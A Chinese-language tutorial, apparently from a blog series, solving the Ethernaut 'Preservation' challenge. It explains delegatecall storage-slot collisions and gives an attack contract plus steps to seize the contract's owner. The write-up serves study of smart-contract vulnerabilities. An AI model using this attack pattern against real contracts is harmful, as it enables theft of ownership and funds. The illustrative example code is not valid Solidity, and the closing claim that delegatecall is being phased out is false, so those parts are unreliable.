本篇文章是call注入攻击的兄弟篇,为啥这么说呢?
因为委托调用攻击核心函数便是 delegatecall()
难度:偏难,但理解了就非常简单
📕1. 开文挑战
- 这是
Ethernaut
中的第十六个例子(已修改) - 现在把需求交给你:将合约
Preservation
的所有权拿到手。 - 你首先会想到什么?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
在破解之前,我们首先要了解以下函数
📕2.了解delegatecall ()
delegatecall()
和call()
是姊妹函数,它们都是调用函数的底层用法,因此在安全层面上是不严谨的。
🌳官方文档是这么描述这个函数的:
"除了目标地址上的代码在调用合约的上下文中执行以及 msg.sender 和 msg.value 不更改它们的值这一事实之外,与消息调用是相同的。
这意味着合约可以在运行时从不同的地址动态加载代码。存储、当前地址和余额仍然是指调用合约,只有代码是从被调用的地址。"
官方文档写的太抽象,我来举个例子方便大家理解:
contract Example{
address public calledContract;
constructor(address _calledContract){
this.calledContract = _calledContract;
}
function useDelegatecall(address _change) public {
calledContract.delegatecall(abi.encodePacked(bytes4(keccak256("changeAddress(address)")),_change))
}
}
contract CalledContract{
address public initAddress;
function changeAddress(address _changeAddress){
this.initAddress = _changeAddress;
}
}
🚀解析例子
-
contract Example
:主合约 -
contract CalledContract
:被调用合约 -
address public calledContract
:被调用合约地址
可以看到在函数
useDelegatecall
中,我们使用了delegatecall()
调用了被调用合约的changeAddress()
函数,并且传入了参数_change
。
调用成功后我们查看结果:
被调用合约中的
initAddress
并未修改成传入的地址参数_change
,反而主合约的calledContract
变成了_change
.
🎹离谱吗
而这正是delegatecall()
的安全漏洞:
被调用合约的上下文仍然是主合约的上下文,包括msg.value
、msg.sender
以及 storage
。因此当我们以为修改的是合约CalledContract
的第一插槽(不了解插槽的去看上一讲)实际上我们修改的是合约Example
的第一插槽,即address calledContract
。
这就是delegatecall()
函数真正的妙处,同样也是极大的安全漏洞!
📕研究合约
那么以上的使用方法,如何去破解开头给出的合约呢?
我想聪明的你早就有了一些想法。
💎回到合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Preservation
:主合约timeZone1Library
,timeZone2Library
:两个外部调用合约地址,即本例中的LibraryContract
setTimeSignature
:函数签名,可以通过call或delegatecall等底层方法调用函数。
💎偷天换日
当调用主合约函数
setFirstTime
时,将会调用外部合约LibraryContract
的setTime
方法,在该方法中修改了此合约的第一插槽,根据delegatecall()
的特性,真正被修改的其实是主合约的第一插槽!,即timeZone1Library
.
因此我们可以借助该漏洞替换掉主合约的
timeZone1Library
或者是timeZone2Library
,再一次根据·delegatecall()
的特性替换掉主合约的owner
.
💎伪造攻击合约
那么被我们替换掉的攻击合约应该是什么样的呢?
为了完美利用delegatecall()
的特性,它应该满足一下所有的需求:
- 存储结构应该与主合约一致
- 应该拥有与
setTime()
同名的函数 - 应该在
setiTime()
函数中修改第三插槽的内存,也就是主合约中owner
所在的存储位置。
因此,这个合约应该长这样:
// SPDX-License-Identifier: MIT
contract AttackPreservation {
//必须拥有相同的存储结构!
address public timeZone1Library;
address public timeZone2Library;
address public owner;
//同名函数
function setTime(uint _change) public {
owner = address(_change);
}
}
至此,用于替换的攻击合约就已经编写好了。
当调用该攻击合约的setTime()
函数之时,我们将合约中owner(第三插槽)替换成了传入的变量。
实际上修改的是主合约的owner
变量,因此将调用传入的参数改成自己的钱包地址即可!
💎攻击流程
- 伪造用于替换
timeZone1Library
的攻击合约; - 首次调用
setFirstTime()
函数,将传入参数设为用于替换的攻击合约的地址; - 第二次调用
setFirstTime()
函数,将传入参数设为自己的钱包地址; - 完成攻击,将合约拥有者修改成了自己
📕总结
delegatecall()是一种危险性极高的函数调用方式,因此在平时的合约编写中,非必要不要用到该调用方式。
并且随着solidity语言版本的迭代更新,delegatecall()已经被逐步禁用。
不要觉得这些知识学了无用,在今后的学习中,会基于这样的分析模式深入地解决问题!
恭喜你!通过了这一章的学习。
至此你已经初步了解了基于函数特性的技术性安全漏洞。
在接下来的学习中,我会涉及到新型的合约攻击方式,请持续关注我!
🌳参考文献
How to Secure Your Smart Contracts: 6 Solidity Vulnerabilities and how to avoid them (Part 1)